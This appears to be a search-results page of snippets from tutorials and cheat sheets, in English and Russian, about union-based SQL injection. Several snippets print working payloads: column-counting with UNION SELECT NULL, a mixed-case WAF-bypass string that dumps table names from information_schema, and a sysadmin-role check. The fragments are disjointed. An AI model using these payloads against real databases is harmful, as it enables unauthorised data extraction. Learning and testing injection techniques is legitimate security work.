sql injection "union select null" - CodeProject

How the SQL UNION Operator Deals with NULL Values

So three NULLs were reduced to just one NULL. We can use the ALL keyword to include all duplicates, and that includes duplicate NULLs: Select null union all select null union all select null

Union Based SQL Injection (WAF Bypassing) - Welcome To RAi Jee...

SQL Injection | HackTricks | HackTricks

Select more and more null values until the query is correct Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #.

SQL Injection Series PHP + Mysql manual... - Programmer Sought

Use union select null, null, null is the same. the second is that we want to return data directly through the sql statement. The first:We let the first query result is always false.

How to select null when the record does not exist with UNION ALL?

SQL Injection | Hacking Walkthroughs

' UNION SELECT NULL, NULL, NULL-- --> Error. Since the second payload does not generate an error, we know that the number of columns in the list is 2. Since it will evaluate to FALSE, the title of the webpage will not appear.

SQL-инъекции' union select null, null, null -- / Хабр

?id=1' union select null,null,table_name,null from information_schema.tables Это стало возможным благодаря добавлению таблицы information_schema в MySQL 5.0+ и по ее наличию также можно косвенно определить версию используемой БД.

Статья - SQL-injection, начало - UNION BASED - Codeby.net

Advanced SQL Injection: Union based | VK9 Security

Select column_name from information_schema.columns where table_schema=database() and table_name='tablenamehere'. SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role.